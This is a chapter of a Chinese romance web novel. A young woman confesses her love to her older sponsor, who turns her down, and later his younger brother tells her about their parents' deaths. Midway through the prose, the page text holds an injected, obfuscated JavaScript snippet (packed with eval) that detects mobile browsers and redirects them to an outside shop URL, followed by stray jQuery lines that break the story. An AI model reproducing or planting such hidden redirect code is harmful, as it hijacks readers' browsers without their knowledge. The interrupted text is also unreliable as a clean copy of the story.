梁怀聿站在床边，身影被晨光勾勒，沉默了很久，什么也没有说，只是看着他。余简之也很难再说什么，仅仅流泪，泪珠成线不断涌出。
“头很痛吧？”他没有回应她的话，只是转过身离开卧室，“我去给你弄点蜂蜜水。”
再度进来房间，余简之已经起来，站在床边，背对着他，似乎在扣外套的扣子。
余简之转过身，她的脸略有些惨白，没有色彩，脸上干干净净，没有水痕。
她还在扣扣子，梁怀聿低眸看了一眼她正在翻动的指尖，道：“出来吃早餐吧。”
美国的早餐能有什么花样？余简之看了眼，好歹是热乎的。她又扫了眼时间，已经中午了。可是不知道是不是因为心里很空，反而没感受到肚子里空空如也。
她拉开椅子坐下，空腹喝了点蜂蜜水后才开始进食，梁怀聿坐在对面，没吃东西，就看着她。
嗯，应该是看着她。
余简之一边吃东西，一边大脑缓缓加载出昨晚她边吃吐司边说的话。
吃到一半，她开始思考要不要继续刚才，或者说昨晚的话题。
吃完了，她想好了。她还没开口，梁怀聿抢先一步开口了。
“余简之。”
梁怀聿很少连名带姓叫她，都是叫她简之或者小简。至于具体叫哪个，他似乎没有区分，想用哪个就用哪个。
但是，叫余简之时，要么是要说重话，要么是要说重要的事。
余简之呼吸缓缓，端起水杯，隔着透明的水面，梁怀聿的神色轻微扭曲，变形，可依稀能辨认出，大抵是惯常的模样。
她放下水杯，指尖泛白，明知故问：“你要和我说事吗？”
“对，余简之。认真记住我接下来说的话。”梁怀聿凝视着她，没有眨眼。
“一个男人，不论未来他将他的爱说得如何高级，他对一个女人最开始的爱，一定建立在欲望之上。”
余简之轻微皱眉。她有些迷蒙，不明白他说这话的含义。还在点醒她昨晚不该和男人喝酒？她怎么记得昨晚她都解释清楚了？
梁怀聿不在乎她的表情，他继续平稳说着，语气没有任何波澜，仿佛在说一件再普通不过的小事。
“所以，一个你刚成年不久，就对你起了欲望的男人，究竟有什么值得你留恋？”
余简之眸中立刻染上惊讶。
原来他没在说别人，说的是他自己。
手从水杯上离开，转而握上自己的手腕。一边感受着被控制的疼痛，一边却是桎梏别人也将自己桎梏的动弹不得。
她在脑海里再度过了几遍梁怀聿说的话，默念一遍，诵读一遍，逐字读一遍。
她当然读懂了，她语文又不差，可是，这道理解题，是梁怀聿给她的。
她别有异心，所以一时捉摸不透出题人的心意。
余简之深呼吸几个来回，最终决定先反驳梁怀聿说的话。
“所以，按照哥哥的逻辑，过去十多年你对我所有的好，供我读书、生活，带我走出大山，这些所有的一切，都只是为了铺垫你对我的欲望？哥哥，你是这样看待你自己，也是这样看待我的吗？”
梁怀聿眼眸一沉，神色却依然没有任何变化，沉稳，内敛。
“对，我对你做这些，是因为我决心资助你，我会供养你到停止读书为止。但我刚刚说的话，难道不对吗？身为你的资助人，我明知道你付出了多少努力才得到今天的生活，我不可能纵你困于情爱困于一个配不上你的男人。”
“……我喜欢你。”
落下来四个字，没有回声。
余简之努力同他一样维持着平和，“我喜欢你。我和你说得很清楚，我喜欢的人是你，所以我要你和我在一起。和你的身份没有任何关系，你为什么不能理解我？”
“简之……”
她看着他，没有说话，请求藏在沉默里。
梁怀聿撇开脸，看着窗外，喉结微微滚了滚。
“简之，未来你会有健康的亲密关系，和你差不多年纪的人，你们步伐一致，你们会组成家庭……
“从我这里，你该获得的，是读书的机会，是看世界的能力。这不是爱，是责任。如果我把它当成爱，那就是失职，混淆了界限。”
她忍了忍，小声说：“……我只要你。”
“简之，你不是非我不可。”
“你已经给了我所有的爱！”余简之用眼神逼迫他重新看向她。
与他对视良久，她的声音随之颤抖，和眼眶泛红同频，“你现在却要我去找别人！我怎么做得到！”
他怎么可以这样？哥哥，究竟有谁能覆盖掉你这个最初的、最完整的、塑造了我情感认知的范本？
余简之看着他眼中清晰的动摇与痛楚，心被狠狠揉捏。
她的心意写在纸上，梁怀聿却看也不看就将纸揉皱，纸团被他随手掷出窗外。
“哥哥，你说句话吧。”她像一只想抓自己尾巴却永远不可能如愿的小狗，苦苦哀求，“我只想听一句真话。我不想听你那些大道理，我只想知道，这么多年来，你有没有想过我一次。”
空气凝固，早餐的温热散去，梁怀聿再度避开她的目光。
窗外，异国阳光明媚，却刺眼得令人想流泪。他的侧脸线条紧绷，下颌角因为用力而显得分明。
“简之，我很后悔过去几年没有去美国探望过你。”
——如果他没有中止哥哥对妹妹的关爱，那么这些年，余简之的感情是不是就不会变质，或变得如此浓厚？
余简之握紧勺子，眼泪滚落。
“你不来，因为你问心有愧！”
梁怀聿拉开椅子的动作，因为这句指控稍微停顿，但没有终止。他站起身，身下投下浅金的阴影，将余简之温温笼罩。
眼泪砸在桌上，她抬手去擦，越擦越多。
他没有说话，她低着头，只能看见他的影子投在桌面上，一动不动。
余简之抬眸仰望，他的神色温浅，没有太多反应，仿佛尘间一切，连带她这句话一起，都只是尘埃。
他只淡淡一句：“简之，你不要胡闹，好好想清楚我今天的话。”
梁怀聿甩门的那一刻，余简之跟着起身。门在一瞬间关上，她所有立刻冒出的要追寻上去的冲动，全部被这扇门阻挡得严严实实。
直到这些冲动，如春天草尖冒芽的倒放，她才慢慢拿起碗，走到水槽边，阳光洒满她的身体，她却感受不到暖意。
春天彻底来了。
春天，是余简之不太喜欢的季节。
都说哮喘同鼻炎一样，是无法完全痊愈的病症，不过余简之自小时那场大病后，再没有犯过哮喘，不知是不是当初悉心治病与照料的结果。
她对花粉过敏。一到春天就喷嚏不止，医生嘱咐过，如果严重过敏就很容易引起哮喘。
春天是万物复苏、万花盛开的季节，然而这一切都与她无关。余简之早早拜托过同事，千万不要摆任何盆栽，尤其是鲜花。
奈何去公司这条路绿化太好，余简之早早戴上口罩。饶是如此，眼下也起了红肿，余简之哭唧唧给余平安发去照片。
【余平安：你的眼睛看起来像被人打了一拳】
【余简之：……】
【余平安：你是不是忘记带药了，我看餐桌上有一管软膏，不知道是不是你的药】
【余简之：应该是的，反正我行李箱里没有，我明天请假去医院开个药】
【余平安：不是说美国看病很麻烦吗】
【余简之：不是疑难杂症就还好啦】
余简之在医院开了药出来，街对面站着人，愣愣地看着她。余简之感受到注视，回过头，也跟着呆了一下。梁景翊走到她面前，端详她几秒钟，才叫出声：“……简之？你怎么这个模样？我差点没认出你。”
余简之戴了帽子和口罩，将自己遮得严严实实。她看了看仍站在街角的女生：“新女友？”
“不是……这我姐姐。”
余简之惊讶：“你还有姐姐？”
“表姐，我舅舅的女儿。你怎么上医院来了？”
余简之从女生身上收回目光。她指了指口罩：“过敏。”
“噢，你眼睛肿了。没事儿吧？简之，我送你回去呗。”
“没多大事儿，我打算坐地铁回去。”说出答案后，余简之盯着梁景翊仔细瞧了瞧，“怎么了你？脸色好差。”
梁景翊勉强笑了笑：“我昨夜守着我舅舅。”
街对面传来呼喊梁景翊的声音，是姐姐在喊他。梁景翊说：“我回去跟我姐说一下。”他跑到街对面，余简之看着他和女生说了几句话，女生点点头，进了街边的一间店。
梁景翊又跑回来，余简之看着他横穿马路，一辆车从他面前经过，没有刹车，她心里紧了一下。
梁景翊完全没发觉，在她面前站定，立刻扬起笑脸：“简之，我送你去地铁站吧。”
余简之看了看他的表情，“嗯”了一声。
梁景翊知道她没拒绝，于是迈开脚步，余简之主动跟在他身侧。
纵然对他出现在美国疑惑很多，例如这次怎么没像从前那样发好几条朋友圈。她压根不知道他回美国了。不过，他们本来就没关系了，梁景翊也不可能去哪都和她汇报。
梁景翊看了一眼她穿的衣服，看着很厚实的绿色开衫，在阳光下呈现出很春天的颜色，漂亮极了。他说：“我看到你朋友圈了，怎么来美国出差？不是说不喜欢美国的生活吗？”
“工作和生活是两码事嘛。”这什么问题？出差还能是她决定的？余简之随口敷衍。
梁景翊看着她：“你怎么不问我为什么来美国了？我还以为你肯定要问这个的。”
“行行行，我现在问。你为什么来美国？”
“我舅舅他现在在这边治病。”
余简之刚想问他什么病，梁景翊突然另起话题：“你父母在你很小的时候就去世了，对吗？”
他们两人，在这点经历上很类似。但两人都只是对对方的情况有所了解，没有详细聊过。没有人会想把自己的伤口展露给他人。
余简之纠正：“我没有爸爸，只有两个妈妈。她们都在我小时候离世了。”
一次离开，在她出生那年，另一次，在她三岁，城里小孩该去读幼儿园的年龄。
“后来谁把你带大的呢？”
“平安的爸妈啊。再后来，就是那个资助人哥哥，给我和平安出了学费和生活费。”
死亡或离别，已经离她足够遥远。余简之偶尔诧异，自己竟然能走出大山，来到北京，去往美国，这太不可思议了。
“我现在感觉很难受，”梁景翊的语气是少见的沉痛，“我舅舅……他得了绝症，应该快要死了。”
“……什么病？”
“肠癌。其实具体情况……我也不太了解，是我姐姐一直在忙活。我和舅舅……十多年没见过了。”他告诉余简之，这是他亲妈那边的亲戚，梁怀聿很厌恶他们，“这事虽然是我哥告诉我的，但我不敢在他面前表现得太难过。说到底这不算是他的亲戚。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17466107|197269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“明明我和舅舅已经很久没见了，我不可能对他有什么感情，但是说他要死了……我又觉得难受。看到他躺在病床上，心里更感觉说不出的滋味。他毕竟是我妈妈的弟弟，就感觉，他死了，与我妈妈有关的东西，在这世界上又少了一件。”
余简之沉默，她一向不知道怎么安慰人。憋了半天，她也只说出一句：“可是，你妈妈那边，就会多一个与她有关的东西。”
梁景翊破涕为笑：“那我妈会被烦死去，我舅舅只知道找她要钱。”
两个人走了半天，脚步莫名其妙慢了下来，余简之摘下帽子，抖了抖，又重新戴上。
“你爸妈怎么去世的？你好像还没说过。”她只知道两个人是因为一场意外一起去世的。
“车祸。那年我十岁。”梁景翊解释，“虽然那个时候我已经很大了，但因为车祸发生在美国，所以我根本不了解具体情况，只知道是车祸，他们坐在后排，连同前座的司机都死了。对面来车的司机也死了。”
时间和她猜测的对上了。那年梁景翊十岁，那么那年梁怀聿二十岁。她记得很清楚，她刚被资助的前两年，她很少看见梁怀聿，因为那时他还在美国念书，后来突然就回来了，文容说之后他会一直留在北京。那时余简之什么都不知道，只觉得能离哥哥近一点，因此特别开心。
“你哥哥……”
“嗯，他本来在美国念书的。那段时间挺难的，我爸就我们俩小孩，但是兄弟姐妹不少。家族产业的利弊，你懂的。后续就是哥哥休学回国，举办葬礼，再拉扯我、拉扯公司。一晃十多年过去了，但我心里总是感觉，我还是没有走出那天。我还是……”
梁景翊哽咽了。
“我忘不了他们的死。我再也不想参加任何人的葬礼了。”
“哎呀！”余简之慌了，看着梁景翊抬手擦眼泪，她根本不知道怎么安慰，慌里慌张，“我跟你说，一切没尘埃落定前，你可别在这胡思乱想！你不要以为癌症就很可怕，平安妈妈之前得了乳腺癌，早就治好了，现在生龙活虎的呢！”
“别哭了！别哭了！说不定最后白哭一场，其实什么事都没有呢！好了！你不要哭了！”
余简之手忙脚乱地找到纸巾扔给他：“真的！梁景翊你别哭，至少不要在你什么都没去尝试之前哭！”
气氛到了，梁景翊自然而然落泪，泪珠数量不多，但被余简之这么安慰一通，他直接停下脚步，揪着纸巾嚎啕大哭。旁人路过，纷纷侧目。
“不用你安慰我，”好一阵子，梁景翊才抽抽噎噎地停下，“我看到舅舅那样子，就知道他活不了多久了。因为我爸临死前，也是这个样子。”
“他们不是……”
“嗯，他们不是当场死亡。我爸妈送到医院，抢救了一天后，我妈先走了。我爸多活了一天，最后回光返照，还有意识和家人讲话。但是我在国内，我赶到美国，只陪了我爸最后半天，没赶上我妈最后一面。”
“……你哥呢？”
“他那会在美国读书，刚出事就赶来了。”
梁景翊回忆起当时的场景，他进入病房，看见梁怀聿陪在爸爸身边，然后，哥哥和爸爸一起招手，让他去身边。
爸爸很枯槁，哥哥则很倦气。
爸爸没有力气起身，他微微抬手环住他，过了一会，哥哥也过来，从身后将他和爸爸圈住。这是他记忆中，第一次与哥哥亲近。
他不知道爸爸和哥哥在他不来的时候说了些什么，等他来了后，话题就变得轻松，爸爸叫他好好读书……学习。
“以后只有哥哥陪着你了。要懂事，听哥哥的话，不要惹他生气。……哥哥以后会有很多事要忙，你不要打扰他，要独立，知不知道？”
梁景翊什么都听不进去了。大脑空白，视线仿佛也空白。他木木呆呆地坐下，这时爸爸又和哥哥交代了几句：“……怀聿，这些年对不住你。还有惠真，我对她……我对不起你们母子俩。怀聿，以后有很多事需要麻烦你了。尤其是景翊，以后就拜托你了……只有你们兄弟俩了啊，只有你们兄弟俩了啊……”
梁景翊永远忘不了爸爸反复念诵这句话的声音。
他当时甚至想大喊一声叫他闭嘴。
不要一直强调以后只有我们了好不好！
“当天晚上，爸爸就去世了。”
他扑在爸爸身边哭泣，看着爸爸痛苦地合上眼。他感受身下的温度逐渐变冷。僵硬，是另一种程度的冷，硬冷。从温热的人体，变成没有生机的废铁。
护士要将爸爸送到太平间，他还在哭，梁怀聿拦下护士，他继续哭，梁怀聿站在身后静静等他哭完。
直到他哭累了，梁怀聿将他抱起，送到病房外的椅子上。哥哥脱下外套，将他盖住。
黑色外套为他隔出一个小世界，梁景翊蜷缩进这个世界，听着外面的脚步来来往往。他能分辨出哥哥的说话声，梁怀聿说的是英文，音色和平常说中文时不太一样，而且语速很快，他完全听不懂。
后来哥哥在他身边坐下，外套被拉低，梁景翊立刻闭上眼，梁怀聿似乎看了他一会，又拉高外套，再度将他严严实实盖住。
哥哥再次被人叫走。
梁景翊努力想听清他们交谈的内容，奈何对小学生来说太难了，不知不觉睡着了。
迷迷糊糊中感到，梁怀聿回来了，还是坐在他身边。
他的脑袋被微微抬起，梁怀聿将其枕在膝上，温热的手掌轻轻落在他的身侧，睡梦中颤抖的他努力想要贴近这份暖意。
这是梁景翊对父亲死亡那天最后的记忆。